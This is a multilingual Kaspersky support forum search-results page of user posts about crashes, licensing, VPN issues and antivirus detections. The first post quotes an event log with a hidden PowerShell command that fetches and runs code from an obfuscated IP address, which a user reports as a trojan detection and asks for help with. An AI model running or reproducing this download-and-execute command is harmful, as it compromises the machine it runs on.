Skip to content
View in the app

A better way to browse. Learn more.

Kaspersky Support Forum

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.
  • Search By Tags

    Search will match any tag entered
  • Search By Author

Content Type

Forums

  • English Forum
    • Products for Home
    • Products for Business
    • KasperskyOS, Development
    • Kaspersky Centers of Expertise
    • Kaspersky Anti-Ransomware Tool
    • Beta Testing Products for Home & Business
  • Русскоязычный форум
    • Продукты для дома
    • Продукты для бизнеса
    • KasperskyOS, Разработка
    • Центры Экспертизы «Лаборатории Касперского»
    • Kaspersky Anti-Ransomware Tool
    • Бета-тестирование продуктов для дома и бизнеса
  • Deutschsprachiges Benutzer-Forum
    • Für Privatanwender
    • Für Unternehmen
  • Forum para usuarios hispanohablantes
    • Para usuarios particulares
    • Para empresas
  • Forum des Utilisateurs Français
    • Pour particuliers
    • Pour les entreprises
  • Fórum Brasileiro
    • Para casa
    • Para PMES e empresas
  • 中文论坛
    • 家用产品支持
    • 企业产品支持
  • Forum in Italiano
    • Utenti privati
    • Aziende
  • Türkçe Forum
    • Ev için
    • İş için
  • Nederlands Gebruikersforum
    • Voor thuis
    • Voor bedrijven
  • Forum Knowledgebase
    • Instructions
    • Advice and solutions

Blogs

Categories

  • Articles

Club

Find results in

Find results that contain...

Date Created

  • Start

    End

Last Updated

  • Start

    End


Filter by number of...

  • Minimum number of comments

  • Minimum number of replies

  • Minimum number of reviews

  • Minimum number of views

Found 748 results

  1. MPR
    Hi. So, Kaspersky has detected powershell.exe as a malicious object. It says the object was uid:/amsi_stream_4, a trojan. I've checked Event Viewer and i have two warnings at the time i got a PowerShell window popping up on my screen with the source being "avp" and the info/details i have are: Number: "45399392" Name: "32d87a95" Confidence: "00000000" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.21 19:23:00:000" And: Number: "45399392" Name: "aa81fd45" Confidence: "00000006" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.21 19:23:00:000" Could someone please help me understand what am i dealing with here? Thanks in advance.
  2. Dimantec
    Всплывает вот такое окно. Что это и кто куда коннектится - молчок. Перехватывает "фокус" с сайта или программ происходит. Я нажимаю одно, а в итоге получаю другое. Даже сейчас набирая текст меня прервали 10 раз тыкать "разрывать соединение" и в окно браузера что бы текст набрать. При падении интернета выскакивает таких 50 окон, только со словами про сертификат. Видимо сколько вкладок открыто. Но причем тут сертификат? Просто интернет отвалился на 5 секунд. Или я роутер перезагрузил - пройти квест тыканья мышкой в 50 окон? Как это выключить или хотя бы где крестик закрыть?
  3. pingburner
    After last update with Ai Sites start struggle to load. I mean now there need hit F5 button sometimes it helps sometimes not. Also, it happens with pages that hosted within my home network i host http:/ page with SQL engine on backend on my phone and access to it via Wi-Fi and it struggle to open (first open work then it stuck and i have to close and reopen browser (Edge used for not secured traffic and Firefox used via internet security app) or kill Kaspersky app to continue using it. Before app update my home-network page works seamlessly. PS: I would just leave feedback but i cannot find how do that in Kaspersky Premium app.
  4. Моя_ломать_CTF_бомбом
    Здравствуйте, уважаемые технические специалисты!!!🫢 📣 📣 📣🌑 Windows 10 платформа. Диск стааарый, hdd ; я его воскрешал много раз 😤 Решил попробовать утилиту от kasperSKY ; увы не получилось. Руководство не работает: https://support.kaspersky.com/help/Kaspersky/Win21.24/ru-RU/156130.htm Номер заявки в чат: INC000018180618 Почта мне не помощник... :flag: 🧙‍♂️ Ошибка после первых 10 гигабут данных, даже прогресс-бар высветился. Помогите, пожалуйста. Сможете с удалённого доступа провести (посмотреть логи или может с консоли позапускать данный SOFTware) ?! 🙊🧬🔸🕍🏳️ На HDD винчестере, 2 раздела большой N: и малый B: newbie 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹
  5. WooX
    I'm getting BSOD on windows boot after updating to Kaspersky Premium with AI. It is not hardware or windows related, it shows Kaspersky .sys file on minidump. I'm reaching for costumer support for about a week and all they tell me is chkdsk/dism/sfc commands, it doesn't work since it is not a windows problem and a problem with recent version of Kaspersky Premium. Memory dump.
  6. Alena21
    Доброго дня ! Антивирус пишет "вы можете потерять данные на диске" Почему такое может быть ? Компьютер новый Состояние диска как-то связано с работой антивируса?
  7. DenXP
    Здравствуйте. На днях установил программу Kaspersky Free на Windows 10. После полной проверки одного из дисков прочитал выборочно отчет. Очень много файлов помечены как защищенные паролем, хотя они не запаролены. Так и должно быть или это ошибка программы? С ув. Денис.
  8. bndjam
    标准版界面上显示AI标志,但是切换到免费版界面上就没有AI标志,我想问一下标准版及以上的AI技术在免费版里有吗
  9. kashperovskiy
    Являюсь системным администратором. Оригинальная, настроенная MS Windows 10 Pro x64 Build 19045. Приложение и Базы Касперского обновлены. 1. Через контекстное меню проводника Касперский не начинает проверку папок или файлов, а открывает свой громоздкий интерфейс с выбором вариантов проверки. Если я указываю конкретную папку для проверки, зачем Касперский мне навязывает несколько дополнительных дублирующих операций, если ему уже явно задан путь для проверки? 2. Даже после этого "навязывания", когда я, уже через интерфейс программы Касперский Премиум, ещё раз нахожу и указываю ту же папку, которую я хочу проверить, нажимаю "Запустить", программа мгновенно пишет, что "Безопасно: угроз не обнаружено" даже не проверяя ни одного файла, о чём свидетельствует отчёт и скорость произведённой операции. 3. Я проверил таким способом "заражённый" файл". И Касперский снова выдал: "Безопасно: угроз не обнаружено" Так система безопасности работать не может - это пустышка, которая вводит в заблуждение и может привести к очень серьёзным последствиям, включая юридические. Что произошло с программой?
  10. KoGa
  11. artykulak2
    Я имел ввиду, возможность установки ключа на одном из пяти устройств будет потеряна? Останется только 2 устройства? Или можно будет установить старый ключ в новую систему без потери попыток активации?
  12. LearningD
    Здравствуйте. При использовании Kaspersky Secure Connection в ряде продуктов (Чаще всего игр, но не только, иногда у стриминговых сервисов тоже) появляется предупреждение об использовании strict NAT. Которая сильно портит взаимодействие с программами. Гугл говорит что достаточно включить Port Forwarding / Проброс портов в натройках программы чтобы проблема ушла. Не подскажите как это правильно и лучше сделать? В настройках протокол выбирается автоматически. Версия 21.23.6.614 Win10 home 22H2 19045
  13. galina_resours2026
    Пришло сообщение Событие: Обнаружена ранее открытая вредоносная ссылка Пользователь: PC\User Тип пользователя: Активный пользователь Имя программы: browser.exe Путь к программе: C:\Users\User\AppData\Local\Yandex\YandexBrowser\Application Компонент: Веб-Антивирус Описание результата: Не обработано Тип: Возможна неправомерная загрузка ПО Название: https:// getpctools. ru/favicon.ico Степень угрозы: Высокая
  14. Mathew14324
    I purchased Kaspersky plus plan for 3 devices, and I signed up using my email ( The one I bought with ) it got connected to the anti virus and its works fine ( Premium version ). After that I downloaded Kaspersky VPN and tried to log in my PC, ( with the email I bought ) it logs to my account but shows the free version ( 300Mb free ). I'm not sharing to anyone, I'm using the owner email. The premium VPN connects to my phone but not my PC. When I went to My Kaspersky website, my pc name was there, but the the VPN crown symbol was dimmed for my pc ( My mobile has the yellow crown ) then I tapped on that, and then the yellow crown lightened, but still it shows free version in my pc. I reinstalled both my Internet Security software and VPN ( my pc didn't restart or shutdown ). On the My Kaspersky website it shows my PC is connected to VPN, but when I open the software, it shows free even though it is logged with the purchased "owner" email. Btw, I have used the VPN on my PC for more than 2 years, when I turned on my pc it was logged out and then when I tried to connect it shows free. Please help
  15. londryjack
    londryjack posted a topic in Pour particuliers
    Bonjour, J'ai de la misère à contacter l'administrateur pour signaler mon problème. Depuis l'achat de l'application Kaspersky VPN je n'ai pas pu me connecter depuis l'étranger (hors Canada). J'ai demander le remboursement avant 30 jours d'utilisation. Et à ce jour l'application n'est pas fonctionnelle et je n'ai pas reçu le remboursement.
  16. Friend
    Доброго времени суток, @Alexey Todirash, @Emil_Ish, Хотелось бы узнать: как работает данный функционал и работает ли вообще? Может реализовано для галочки или не хватает сотрудников, которые могли бы поправить подстановку данных на сайтах? У меня есть несколько сайтов, где КРМ после обновления своих баз перестает поставлять данные, либо частично, либо полностью, обо всех этих сайтах сообщал через функционал в дополнении, про некоторые несколько раз, но каждым обновлением баз КРМ у меня все больше проблемных сайтов, чем решенных. Понимаю, что возможно сайты не особо популярные для всех, но хотелось чтобы все заявки отправленные через дополнение рассматривались и решались. Все галочки о предоставлении анонимных данных стоят, хотя там тоже вопрос: почему только все на английским и актуально ли все там, дата указана: 16.2023 Пример одного из проблемных сайтов.
  17. clERIC
    Come da titolo, non riesco a connettermi ai server e non capisco perché. Oggi ho fatto un nuovo abbonamento, sempre alla versione premium, ho provato a cambiare il mio abbonamento (che fino a poco fa era in scadenza, mentre ora é scaduto) e passare da quello vecchio a quello nuovo appena fatto; ma visto che continuava ad uscire "impossibile stabilire connessione al server" dopo aver provato per un po' ho pensato che disinstallare e reinstallare l'applicazione avrebbe potuto aiutare. Ora invece mi ritrovo con l'applicazione principale che non mi permette di loggare, e di conseguenza non posso usare l'app. Le app di Password manager e VPN funzionano senza problemi e sono passate in automatico da quello vecchio a quello nuovo. Come risolvo sto problema? Come mi connetto? (Si internet funziona e no non ho una vpn attiva attualmente)
  18. clERIC
    I have activated today a new subscription for kaspersky premium, I have tryed to swap from my old one to the new sub, but at the time (few hours ago) I wasn't able to connect, so I tryed uninstalling and installing again the kaspersky app from my pc; now I find myself unable to log in as after a few seconds of loading it says "Impossible to connect to servers". Password manager and vpn apps work just fine, the subscription changed to the new one, and I didn't uninstall them; only "kaspersky premium" app is giving me problems. How can I fix this? Is there something I can do or do I just spam the "retry" button until eventually it does connect?
  19. Фуат
    Всем привет. Работаю в школе. У нас доступ к интернету сделан через ЕСПД РТ — единая сеть передачи данных (ЕСПД) для образовательных организаций. Проект реализуется ПАО «Ростелеком» в рамках федерального проекта. У детей доступ с контент-фильтрацией через прокси, у учителей без фильтрации с механизмом авторизации через госуслуги, без прокси. После установки KES 12.11 в браузерах перестал срабатывать механизм переадресации на сайт авторизации ЕСПД для учителей. Если удалить KES, то все начинает работать без проблем. ОС windows 10 pro, 7 pro. Картина одинаковая. Подскажите пожалуйста, что я могу перенастроить для корректной работы переадресации?
  20. Stany
    Stany posted a topic in Utenti privati
    Purtroppo sono passato da kaspersky total security a kaspersky Premium 3 licenze. Mi succede che su tutti i pc mi blocca l'audio microfono durante il gioco, solo su uno dei 3 a fine partita è uscito il popup che veniva sbloccato il microfono. come fare? non c'è una voce per aggiungerlo nella sezione "controllo webcam e microfono" ci sono solo quelle che mette in automatico, per aggiungerle? ho già disintallato kaspersky e reinstallato ma nulla. aiuto. Unfortunately, I upgraded from Kaspersky Total Security to Kaspersky Premium 3 licenses. It's blocking my microphone audio on all my PCs during gameplay. Only one of the three computers displayed a popup at the end of the game saying the microphone was unblocked. What can I do? There's no option to add it in the "Webcam and Microphone Control" section. There are only the ones that are automatically enabled. How can I add them? I've already uninstalled and reinstalled Kaspersky, but nothing. Help.
  21. nayomi kumarasinghe
    I have a problem with my laptop's registry, and I cleared everything and installed Windows using a bootable pen drive. After that, I installed Kaspersky Standard on my laptop and entered the activation key, but it says "you have reached the maximum number of devices". I am using the same device. I'll change the device name to the older name because Windows will set a random device name. I don't remember the password for my Kaspersky account to disconnect the old device. Help me please[I have Kaspersky standerd for 1 user]
  22. Heming
    Heming posted a topic in Kaspersky Free
    Добрый день! Собрал новую систему уже около года, но борюсь с периодическим синим экраном где-то раз в 2 недели. ПК стоит всегда включенный 24/7. Предпоследний анализ дампа показал, что конфликт между Касперским и утилитой/драйвером управления подсветкой от Gigabyte. Выполнил все рекомендации, и удалил со всеми хвостами ПО Gigabyte, вроде бы стало хорошо, сами по себе синие экраны перестали вылезать (около месяца полет нормальный). Но потребовалось выключить ПК и тут в процессе выключение вылез опять синюшник. Итоги последнего дампа прикрепляю, теперь если верить анализу, дело все-таки в Касперском, а именно из-за процесса ast_service.exe Минидамп прикрепить не удалось даже если поменять расширение на условный .png, ругается при попытке аплоада, а расшифровку прикрепляю: Техническая сводка WinDbg Копировать --- Key Info --- BUGCHECK_CODE : 3b BUGCHECK_P1 : c0000005 BUGCHECK_P2 : fffff80544f438a5 BUGCHECK_P3 : ffff8b01dcd13920 BUGCHECK_P4 : 0 PROCESS_NAME : ast_service.exe IMAGE_NAME : ntkrnlmp.exe MODULE_NAME : nt SYMBOL_NAME : nt!KiInsertQueueApc+51 FAILURE_BUCKET_ID : AV_nt!KiInsertQueueApc Код ошибки: SYSTEM_SERVICE_EXCEPTION (3b) 🧐 Простая причина Точную причину сбоя установить сложно, так как он произошел в самом ядре Windows (ntkrnlmp.exe). Однако сбой был спровоцирован процессом ast_service.exe, который, вероятно, является частью антивирусного ПО Kaspersky. Это указывает на возможный конфликт между антивирусом и системой на низком уровне. 📖 Пояснения Синий экран случился из-за нарушения доступа к памяти (Access Violation, код c0000005) внутри системной функции KiInsertQueueApc, которая отвечает за планирование потоков. Стек вызовов показывает, что система пыталась завершить все потоки процесса ast_service.exe в рамках его принудительного завершения (NtTerminateProcess). Процесс ast_service.exe — это служба Kaspersky Endpoint Security. Его активность в момент сбоя, особенно операция завершения, в сочетании с множеством загруженных драйверов Kaspersky (например, klif.sys, klflt.sys), является сильным намеком на то, что антивирусное ПО, работающее на глубоком уровне системы, могло вызвать нестабильность. Ядро Windows стало "жертвой", когда попыталось обработать некорректное состояние, созданное этим сторонним драйвером.
  23. YourBan
    Сегодня я купил подписку на год,подключаюсь и бац,не заходит,что делать?Как пофиксить?
  24. SEF4WSERF4
    https://github.com/kunkundi/crossdesk/releases/download/v1.1.7-20251127-a964c6b/crossdesk-win-x64-v1.1.7-20251127-a964c6b.exe 此链接是该文件地址。 https://www.virustotal.com/gui/file/04375d1120b6ef1a224f62afeda069f73ceb7adff3417316d934782cf4e7fb8a 此为在线杀毒报告 另外,此软件的官网:https://www.crossdesk.cn/ 在杀毒软件中也有被阻止。 产品为标准版。 电脑运行版本是: 版本 Windows 10 IoT 企业版 LTSC 版本号 22H2 安装日期 ‎2025/‎11/‎11 OS 内部版本 19045.6456
  25. Thommy-Bayern
    viele APPS können bei eingeschaltetem VPN nicht starten. Das geschieht bei Android 14 sowie auch bei Windows10 auf allen unseren 5 Geräten mit Premiumschutz. Bin absoluter Laie und bitte bei einer evtl. Antwort um entsprechend einfaches Vokabular, DANKESCHÖN

Account

Navigation

Search

Search

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.